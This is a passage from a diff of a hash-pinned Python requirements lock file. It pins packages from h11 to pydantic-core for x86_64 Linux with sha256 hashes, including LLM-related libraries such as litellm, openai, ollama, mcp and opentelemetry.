--hash=sha256:7be78388d6da1a25c0d5ec506523db58b18be22d9c37d8d3a32c08be4987bd73 \ + --hash=sha256:931091142fd8cc14edccc0845a79248bc155425eee9a98b2db2ea4f00a235a42 \ + --hash=sha256:980a846182ce88c4f2f7e2c22c56aefd515daeb36149d1c897f83cf57999e0b6 +h11==0.16.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1 \ + --hash=sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86 +hf-xet==1.1.10 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:408aef343800a2102374a883f283ff29068055c111f003ff840733d3b715bb97 \ + --hash=sha256:6b6bceb6361c80c1cc42b5a7b4e3efd90e64630bcf11224dcac50ef30a47e435 \ + --hash=sha256:f900481cf6e362a6c549c61ff77468bd59d6dd082f3170a36acfef2eb6a6793f +httpcore==1.0.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55 \ + --hash=sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8 +httplib2==0.32.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:48a0ef30a42db65d8f3399045e1d09ab0ba66e3b9efc360d07f80ea55d286025 \ + --hash=sha256:dc6705cacdf3fb0a2aba7629fa33c90fd93e30035db0c157325826be177e4816 +httpx==0.28.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc \ + --hash=sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad +httpx-sse==0.4.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0ac1c9fe3c0afad2e0ebb25a934a59f4c7823b60792691f779fad2c5568830fc \ + --hash=sha256:9b1ed0127459a66014aec3c56bebd93da3c1bc8bb6618c8082039a44889a755d +huggingface-hub==0.35.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0e3a01829c19d86d03793e4577816fe3bdfc1602ac62c7fb220d593d351224ba \ + --hash=sha256:350932eaa5cc6a4747efae85126ee220e4ef1b54e29d31c3b45c5612ddf0b32a +idna==3.15 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8 \ + --hash=sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc +importlib-metadata==8.5.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:45e54197d28b7a7f1559e60b95e7c567032b602131fbd588f1497f47880aa68b \ + --hash=sha256:71522656f0abace1d072b9e5481a48f07c138e00f079c38c8f883823f9c26bd7 +inquirerpy==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:89d2ada0111f337483cb41ae31073108b2ec1e618a49d7110b0d7ade89fc197e \ + --hash=sha256:c65fdfbac1fa00e3ee4fb10679f4d3ed7a012abf4833910e63c295827fe2a7d4 +jaraco-classes==3.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:47a024b51d0239c0dd8c8540c6c7f484be3b8fcf0b2d85c13825780d3b3f3acd \ + --hash=sha256:f662826b6bed8cace05e7ff873ce0f9283b5c924470fe664fff1c2f00f581790 +jaraco-context==6.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:129a341b0a85a7db7879e22acd66902fda67882db771754574338898b2d5d86f \ + --hash=sha256:a43b5ed85815223d0d3cfdb6d7ca0d2bc8946f28f30b6f3216bda070f68badda +jaraco-functools==4.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:9eec1e36f45c818d9bf307c8948eb03b2b56cd44087b3cdc989abca1f20b9176 \ + --hash=sha256:da21933b0417b89515562656547a77b4931f98176eb173644c0d35032a33d6bb +jeepney==0.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:97e5714520c16fc0a45695e5365a2e11b81ea79bba796e26f9f1d178cb182683 \ + --hash=sha256:cf0e9e845622b81e4a28df94c40345400256ec608d0e55bb8a3feaa9163f5732 +jinja2==3.1.6 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d \ + --hash=sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67 +jiter==0.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:11840d2324c9ab5162fc1abba23bc922124fedcff0d7b7f85fffa291e2f69206 \ + --hash=sha256:1d9637eaf8c1d6a63d6562f2a6e5ab3af946c66037eb1b894e8fad75422266e4 \ + --hash=sha256:29ed1fe69a8c69bf0f2a962d8d706c7b89b50f1332cd6b9fbda014f60bd03a03 \ + --hash=sha256:4ee5821e3d66606b29ae5b497230b304f1376f38137d69e35f8d2bd5f310ff73 \ + --hash=sha256:6e2bbf24f16ba5ad4441a9845e40e4ea0cb9eed00e76ba94050664ef53ef4406 \ + --hash=sha256:bb948402821bc76d1f6ef0f9e19b816f9b09f8577844ba7140f0b6afe994bc64 \ + --hash=sha256:c9967c2ab338ee2b2c0102fd379ec2693c496abf71ffd47e4d791d1f593b68e2 \ + --hash=sha256:cf408d2a0abd919b60de8c2e7bc5eeab72d4dafd18784152acc7c9adc3291591 \ + --hash=sha256:dbb57da40631c267861dd0090461222060960012d70fd6e4c799b0f62d0ba166 +joserfc==1.7.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:add2c2c84e8373b084d526a8b53daba5d7a513a118cd2dcd9fc9f979d0922159 \ + --hash=sha256:d5ff536e658e17664f8c1b1ab60dc4aa62aa973fcef1edd33cc44bda45d6f5ea +json-repair==0.60.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:841661cdd2df507c9a4e189097f38ca6bc372e06d4b4e36d72e590f68176c290 \ + --hash=sha256:ba6ff974f2a8bef2f7768144a7f03f870a816443f03da27a49cdd0ec31a78049 +jsonref==1.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:32fe8e1d85af0fdefbebce950af85590b22b60f9e95443176adbde4e1ecea552 \ + --hash=sha256:590dc7773df6c21cbf948b5dac07a72a251db28b0238ceecce0a2abfa8ec30a9 +jsonschema==4.23.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:d71497fef26351a33265337fa77ffeb82423f3ea21283cd9467bb03999266bc4 \ + --hash=sha256:fbadb6f8b144a8f8cf9f0b89ba94501d143e50411a1278633f56a7acf7fd5566 +jsonschema-path==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:8365356039f16cc65fddffafda5f58766e34bebab7d6d105616ab52bc4297001 \ + --hash=sha256:f502191fdc2b22050f9a81c9237be9d27145b9001c55842bece5e94e382e52f8 +jsonschema-specifications==2025.9.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe \ + --hash=sha256:b540987f239e745613c7a9176f3edb72b832a4ac465cf02712288397832b5e8d +keyring==25.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:be4a0b195f149690c166e850609a477c532ddbfbaed96a404d4e43f8d5e2689f \ + --hash=sha256:fe01bd85eb3f8fb3dd0405defdeac9a5b4f6f0439edbb3149577f244a2e8245b +libtmux==0.53.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:024b7ae6a12aae55358e8feb914c8632b3ab9bd61c0987c53559643c6a58ee4f \ + --hash=sha256:1d19af4cea0c19543954d7e7317c7025c0739b029cccbe3b843212fae238f1bd +litellm==1.93.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0784172435de48f66ef7ad89d421604db1ad0db1321ef7f39dbcfe6b20111417 \ + --hash=sha256:140bf215e264c71601bca9c06d2436c5451bb59e1e195ea23fc2d3d87b6929ec \ + --hash=sha256:98c15e84d32e922a821c105308bf9ddae8700de9ed396530bee2cbb1cacf4cbb \ + --hash=sha256:cd70ccd4ba3ef1a395535c287bce72d30c7d937ecca4290c0db37a00738f7ada +lmnr==0.7.60 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:35076b302a8f4349824deb08f79d1c7e4c2486b5a14704c0e6efee9879942096 \ + --hash=sha256:efec73de28eb8b66bcda6aaab7db0bda8247a26f982e63295a754412bee607f0 +lmnr-claude-code-proxy==0.1.23 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0fd8e1bfeef82802c8a74533a6d27e7c7912c7db68358ca67976f1635311503f \ + --hash=sha256:44b270a4c40daf3b11a5d96694357c4ff99842e82c514281b2910eae4a5d653a \ + --hash=sha256:5bb8df798ad59b5ba096a7ce1c9a1a08fab5fcb9a6701b3e304bac6a060f109c \ + --hash=sha256:68fdb6a26d30977b5d4e7ce4a117b2a427a16b1cc0d075f4cecd1839da12975a \ + --hash=sha256:6d8fa044c2f5774a6b70de9025a91c13c74361d4349ae528b4b4fcca48219a13 \ + --hash=sha256:724ac0371eef99c034762521e580a986fc2b012ffc8c650dd8d66f1765d9a102 \ + --hash=sha256:92233f1c19971678225ac884d26b77cbbe9e90ec0a154752f8feee9ffa3f21c2 \ + --hash=sha256:9e7a58160b8c327e9fddbba828c86bb1084967519a160ae4f64d0ae01d65730b \ + --hash=sha256:f8d636068b2b141f210dcadf433f86dc69f810245771f95f647c1a57d2a37dd9 +lupa==2.8 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:2e64acbbd47e9b82a64405a39e0d2b36a5a7dad8ab41c0f3437f572f7d282ba3 \ + --hash=sha256:4f81a02806e7c7ad26d8c6fa222c8bef1b0c1b124347c879be880b41339d41e4 \ + --hash=sha256:8cf4f064a0e5531afce2d7d750120c10c10f9529139af6ca6150d13151034398 \ + --hash=sha256:a591b9947ca347b41a63370e121d6e2b1458fe6dde9ae065029ec10a37f25ff4 \ + --hash=sha256:d8022641b9ec8ecf2c5ecbe9f47e5a70e0b87c4b5ae921b92cb02a638e0acd08 \ + --hash=sha256:f8a22088a552828958603323f0a5c4b3e11e03b75d0bf4c965ef879de9b60a8d \ + --hash=sha256:fc47f536ac13a79cef47d29a2b205576a22841f042a2bcec1676b95806e7706a +lxml==6.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:264c605ab9c0e4aa1a679636f4582c4d3313700009fac3ec9c3412ed0d8f3e1d \ + --hash=sha256:37fabd1452852636cf38ecdcc9dd5ca4bba7a35d6c53fa09725deeb894a87491 \ + --hash=sha256:3f00972f84450204cd5d93a5395965e348956aaceaadec693a22ec743f8ae3eb \ + --hash=sha256:4b89b098105b8599dc57adac95d1813409ac476d3c948a498775d3d0c6124bfb \ + --hash=sha256:7f4a77d6f7edf9230cee3e1f7f6764722a41604ee5681844f18db9a81ea0ec33 \ + --hash=sha256:89e8d73d09ac696a5ba42ec69787913d53284f12092f651506779314f10ba585 \ + --hash=sha256:9147d8e386ec3b82c3b15d88927f734f565b0aaadef7def562b853adca45784a \ + --hash=sha256:9e7b0a4ca6dcc007a4cef00a761bba2dea959de4bd2df98f926b33c92ca5dfb9 \ + --hash=sha256:bc783ee3147e60a25aa0445ea82b3e8aabb83b240f2b95d32cb75587ff781814 \ + --hash=sha256:bfd57d8008c4965709a919c3e9a98f76c2c7cb319086b3d26858250620023b13 \ + --hash=sha256:c6854e9cf99c84beb004eecd7d3a3868ef1109bf2b1df92d7bc11e96a36c2180 \ + --hash=sha256:e69aa6805905807186eb00e66c6d97a935c928275182eb02ee40ba00da9623b2 \ + --hash=sha256:fe022f20bc4569ec66b63b3fb275a3d628d9d32da6326b2982584104db6d3086 +markdown-it-py==4.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:87327c59b172c5011896038353a81343b6754500a08cd7a4973bb48c6d578147 \ + --hash=sha256:cb0a2b4aa34f932c007117b194e945bd74e0ec24133ceb5bac59009cda1cb9f3 +markdownify==1.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:48e150a1c4993d4d50f282f725c0111bd9eb25645d41fa2f543708fd44161351 \ + --hash=sha256:f6c367c54eb24ee953921804dfe6d6575c5e5b42c643955e7242034435de634c +markupsafe==3.0.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9 \ + --hash=sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396 \ + --hash=sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c \ + --hash=sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48 \ + --hash=sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d \ + --hash=sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8 \ + --hash=sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0 +mcp==1.28.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:2726bca5e7193f61c5dde8b12500a6de2d9acf6d1a1c0be9e8c2e706437991df \ + --hash=sha256:d51e36a5f5644faea4f85ea649bfffa6bc6c26770d42798ad6a3de3d2ba69683 +mdurl==0.1.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8 \ + --hash=sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba +more-itertools==10.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:52d4362373dcf7c52546bc4af9a86ee7c4579df9a8dc268be0a2f949d376cc9b \ + --hash=sha256:f638ddf8a1a0d134181275fb5d58b086ead7c6a72429ad725c67503f13ba30bd +multidict==6.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:123e2a72e20537add2f33a79e605f6191fba2afda4cbb876e35c1a7074298a7d \ + --hash=sha256:171b73bd4ee683d307599b66793ac80981b06f069b62eea1c9e29c9241aa66b0 \ + --hash=sha256:18706cc31dbf402a7945916dd5cddf160251b6dab8a2c5f3d6d5a55949f676b3 \ + --hash=sha256:394fc5c42a333c9ffc3e421a4c85e08580d990e08b99f6bf35b4132114c5dcb3 \ + --hash=sha256:3e8bfdd0e487acf992407a140d2589fe598238eaeffa3da8448d63a63cd363f8 \ + --hash=sha256:94218fcec4d72bc61df51c198d098ce2b378e0ccbac41ddbed5ef44092913288 \ + --hash=sha256:9fe04da3f79387f450fd0061d4dd2e45a72749d31bf634aecc9e27f24fdc4b3f \ + --hash=sha256:9ff96e8815eecacc6645da76c413eb3b3d34cfca256c70b16b286a687d013c32 \ + --hash=sha256:c6e99d9a65ca282e578dfea819cfa9c0a62b2499d8677392e09feaf305e9e6f5 \ + --hash=sha256:caf53b15b1b7df9fbd0709aa01409000a2b4dd03a5f6f5cc548183c7c8f8b63c \ + --hash=sha256:d1bed1b467ef657f2a0ae62844a607909ef1c6889562de5e1d505f74457d0b96 \ + --hash=sha256:f0feece2ef8ebc42ed9e2e8c78fc4aa3cf455733b507c09ef7406364c94376c6 +oauthlib==3.3.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0f0f8aa759826a193cf66c12ea1af1637f87b9b4622d46e866952bb022e538c9 \ + --hash=sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1 +ollama==0.6.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:534511b3ccea2dff419ae06c3b58d7f217c55be7897c8ce5868dfb6b219cf7a0 \ + --hash=sha256:da2b2d846b5944cfbcee1ca1e6ee0585f6c9d45a2fe9467cbcd096a37383da2f +openai==2.33.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:03ac37d70e8c9e3a8124214e3afa785e2cbc12e627fbd98177a086ef2fd87ad5 \ + --hash=sha256:f850c435e2a4685bba3295bd54912dd26315d9c1b7733068186134d6e0599f9a +openapi-pydantic==0.5.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:a3a09ef4586f5bd760a8df7f43028b60cafb6d9f61de2acba9574766255ab146 \ + --hash=sha256:ff6835af6bde7a459fb93eb93bb92b8749b754fc6e51b2f1590a19dc3005ee0d +opentelemetry-api==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:2edd8463432a7f8443edce90972169b195e7d6a05500cd29e6d13898187c9950 \ + --hash=sha256:fbde8c80e1b937a2c61f20347e91c0c18a1940cecf012d62e65a7caf08967c9c +opentelemetry-exporter-otlp-proto-common==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:08f8a5862d64cc3435105686d0216c1365dc5701f86844a8cd56597d0c764fde \ + --hash=sha256:763370d4737a59741c89a67b50f9e39271639ee4afc999dadfe768541c027464 +opentelemetry-exporter-otlp-proto-grpc==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:772eb1c9287485d625e4dbe9c879898e5253fea111d9181140f51291b5fec3ad \ + --hash=sha256:fa1c136a05c7e9b4c09f739469cbdb927ea20b34088ab1d959a849b5cc589c18 +opentelemetry-exporter-otlp-proto-http==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:31bdab9745c709ce90a49a0624c2bd445d31a28ba34275951a6a362d16a0b9cb \ + --hash=sha256:d9f5207183dd752a412c4cd564ca8875ececba13be6e9c6c370ffb752fd59985 +opentelemetry-instrumentation==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:04480db952b48fb1ed0073f822f0ee26012b7be7c3eac1a3793122737c78632d \ + --hash=sha256:57ddc7974c6eb35865af0426d1a17132b88b2ed8586897fee187fd5b8944bd6a +opentelemetry-instrumentation-threading==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:20b18a68abe5801fa9474336b7c27487d4af3e00b66f6a8734e4fdd75c8b0b43 \ + --hash=sha256:92a52a60fee5e32bc6aa8f5acd749b15691ad0bc4457a310f5736b76a6d9d1de +opentelemetry-proto==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:22cdc78efd3b3765d09e68bfbd010d4fc254c9818afd0b6b423387d9dee46007 \ + --hash=sha256:6c8e05144fc0d3ed4d22c2289c6b126e03bcd0e6a7da0f16cedd2e1c2772e2c8 +opentelemetry-sdk==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:4d5482c478513ecb0a5d938dcc61394e647066e0cc2676bee9f3af3f3f45f01c \ + --hash=sha256:cf4d4563caf7bff906c9f7967e2be22d0d6b349b908be0d90fb21c8e9c995cc6 +opentelemetry-semantic-conventions==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:87c228b5a0669b748c76d76df6c364c369c28f1c465e50f661e39737e84bc953 \ + --hash=sha256:9fa8c8b0c110da289809292b0591220d3a7b53c1526a23021e977d68597893fb +opentelemetry-semantic-conventions-ai==0.4.13 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:883a30a6bb5deaec0d646912b5f9f6dcbb9f6f72557b73d0f2560bf25d13e2d5 \ + --hash=sha256:94efa9fb4ffac18c45f54a3a338ffeb7eedb7e1bb4d147786e77202e159f0036 +orjson==3.11.7 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:1eb80451a9c351a71dfaf5b7ccc13ad065405217726b59fdbeadbcc544f9d223 \ + --hash=sha256:4682d1db3bcebd2b64757e0ddf9e87ae5f00d29d16c5cdf3a62f561d08cc3dd2 \ + --hash=sha256:962d046ee1765f74a1da723f4b33e3b228fe3a48bd307acce5021dfefe0e29b2 \ + --hash=sha256:9b1a67243945819ce55d24a30b59d6a168e86220452d2c96f4d1f093e71c0c49 \ + --hash=sha256:a12b80df61aab7b98b490fe9e4879925ba666fccdfcd175252ce4d9035865ace \ + --hash=sha256:a56df3239294ea5964adf074c54bcc4f0ccd21636049a2cf3ca9cf03b5d03cf1 \ + --hash=sha256:e7745312efa9e11c17fbd3cb3097262d079da26930ae9ae7ba28fb738367cbad +packaging==26.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79 \ + --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c +pathable==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:5ae9e94793b6ef5a4cbe0a7ce9dbbefc1eec38df253763fd0aeeacf2762dbbc2 \ + --hash=sha256:6905a3cd17804edfac7875b5f6c9142a218c7caef78693c2dbbbfbac186d88b2 +pfzy==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:5f50d5b2b3207fa72e7ec0ef08372ef652685470974a107d0d4999fc5a903a96 \ + --hash=sha256:717ea765dd10b63618e7298b2d98efd819e0b30cd5905c9707223dceeb94b3f1 +pillow==12.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0847a763afefb695bc912d7c131e7e0632d4edc1d8698f58ddabec8e46b8b6d3 \ + --hash=sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df \ + --hash=sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf20648130 \ + --hash=sha256:251bf95b67017e27b13d82f5b326234ca62d70f9cf4c2b9032de2358a3b12c7b \ + --hash=sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c937177db558931 \ + --hash=sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce \ + --hash=sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d760584c9c51d7a5f78c \ + --hash=sha256:6b02afb9b97f65fbca5f31db6a2a3ba21aa93030225f150fa3f249717e938fb4 \ + --hash=sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f19e62b5e \ + --hash=sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91 \ + --hash=sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90b67d3e6bca2f1990930 \ + --hash=sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95ca9505a7bba9ef849ec \ + --hash=sha256:bf16ba1b4d0b6b7c8e534936632270cf70eb00dbe09005bc345b2677b726855c \ + --hash=sha256:cf1845d02ad822a369a49f2bb9345b1614744267682e7a03527dc3bf6eea1777 \ + --hash=sha256:e795b7eb908249c4e43c7c99fac7c2c75dab0c43566e37db472a355f63693d71 \ + --hash=sha256:f13c32a3abd6079a66d9526e18dad9b6d280384d49d7c54040cd57b6424041d9 +platformdirs==4.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:abd01743f24e5287cd7a5db3752faf1a2d65353f38ec26d98e25a6db65958c85 \ + --hash=sha256:ca753cf4d81dc309bc67b0ea38fd15dc97bc30ce419a7f58d13eb3bf14c4febf +portalocker==2.10.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:53a5984ebc86a025552264b459b46a2086e269b21823cb572f8f28ee759e45bf \ + --hash=sha256:ef1bf844e878ab08aee7e40184156e1151f228f103aa5c6bd0724cc330960f8f +posthog==6.7.7 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:bf8187ce8e6da33d5c122ee03a759efa8f181630380260526294454dab0c8bab \ + --hash=sha256:ffb7bac388f66e5c9e2e3d6028572386ad3c98bba7a9a4669db05b10ac23357a +prompt-toolkit==3.0.52 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:28cde192929c8e7321de85de1ddbe736f1375148b02f2e17edd840042b1be855 \ + --hash=sha256:9aac639a3bbd33284347de5ad8d68ecc044b91a762dc39b7c21095fcd6a19955 +propcache==0.4.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:15932ab57837c3368b024473a525e25d316d8353016e7cc0e5ba9eb343fbb1cf \ + --hash=sha256:35c3277624a080cc6ec6f847cbbbb5b49affa3598c4535a0a4682a697aaa5c75 \ + --hash=sha256:4c3c70630930447f9ef1caac7728c8ad1c56bc5015338b20fed0d08ea2480b3a \ + --hash=sha256:6f8b465489f927b0df505cbe26ffbeed4d6d8a2bbc61ce90eb074ff129ef0ab1 \ + --hash=sha256:8326e144341460402713f91df60ade3c999d601e7eb5ff8f6f7862d54de0610d \ + --hash=sha256:9a0bd56e5b100aef69bd8562b74b46254e7c8812918d3baa700c8a8009b0af66 \ + --hash=sha256:a78372c932c90ee474559c5ddfffd718238e8673c340dc21fe45c5b8b54559a0 \ + --hash=sha256:ab2943be7c652f09638800905ee1bab2c544e537edb57d527997a24c13dc1455 \ + --hash=sha256:af2a6052aeb6cf17d3e46ee169099044fd8224cbaf75c76a2ef596e8163e2237 \ + --hash=sha256:c9b822a577f560fbd9554812526831712c1436d2c046cedee4c3796d3543b144 \ + --hash=sha256:d472aeb4fbf9865e0c6d622d7f4d54a4e101a89715d8904282bb5f9a2f476c3f \ + --hash=sha256:f48107a8c637e80362555f37ecf49abe20370e557cc4ab374f04ec4423c97c3d +proto-plus==1.26.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:13285478c2dcf2abb829db158e1047e2f1e8d63a077d94263c2b88b043c75a66 \ + --hash=sha256:21a515a4c4c0088a773899e23c7bbade3d18f9c66c73edd4c7ee3816bc96a012 +protobuf==6.33.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:69915a973dd0f60f31a08b8318b73eab2bd6a392c79184b3612226b0a3f8ec02 \ + --hash=sha256:6ddcac2a081f8b7b9642c09406bc6a4290128fce5f471cddd165960bb9119e5c \ + --hash=sha256:cbf16ba3350fb7b889fca858fb215967792dc125b35c7976ca4818bee3521cf0 +psutil==7.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372 \ + --hash=sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9 \ + --hash=sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63 \ + --hash=sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a \ + --hash=sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc +py-key-value-aio==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:18e17564ecae61b987f909fc2cd41ee2012c84b4b1dcb8c055cf8b4bc1bf3f5d \ + --hash=sha256:e3012e6243ed7cc09bb05457bd4d03b1ba5c2b1ca8700096b3927db79ffbbe55 +pyasn1==0.6.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:9c447d8431c947fe4c8febc4ed9e760bc29011a5b01e5c74b67025bd9fb8ce81 \ + --hash=sha256:deda9277cfd454080ec40b207fb6df82206a3a2688735233cdcd8d3d565f088b +pyasn1-modules==0.4.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a \ + --hash=sha256:677091de870a80aae844b1ca6134f54652fa2c8c5a52aa396440ac3106e941e6 +pycparser==2.23 ; implementation_name != 'PyPy' and platform_machine == 'x86_64' and platform_python_implementation != 'PyPy' and sys_platform == 'linux' \ + --hash=sha256:78816d4f24add8f10a06d6f05b4d424ad9e96cfebf68a4ddc99c65c0720d00c2 \ + --hash=sha256:e5c6e8d3fbad53479cab09ac03729e0a9faf2bee3db8208a550daf5af81a5934 +pydantic==2.12.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49 \ + --hash=sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d +pydantic-core==2.41.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e \ + --hash=sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375 \ + --hash=sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470 \ + --hash=sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660 \ + --hash=sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586 \ + --hash=sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b \ + --hash=sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858 \ + 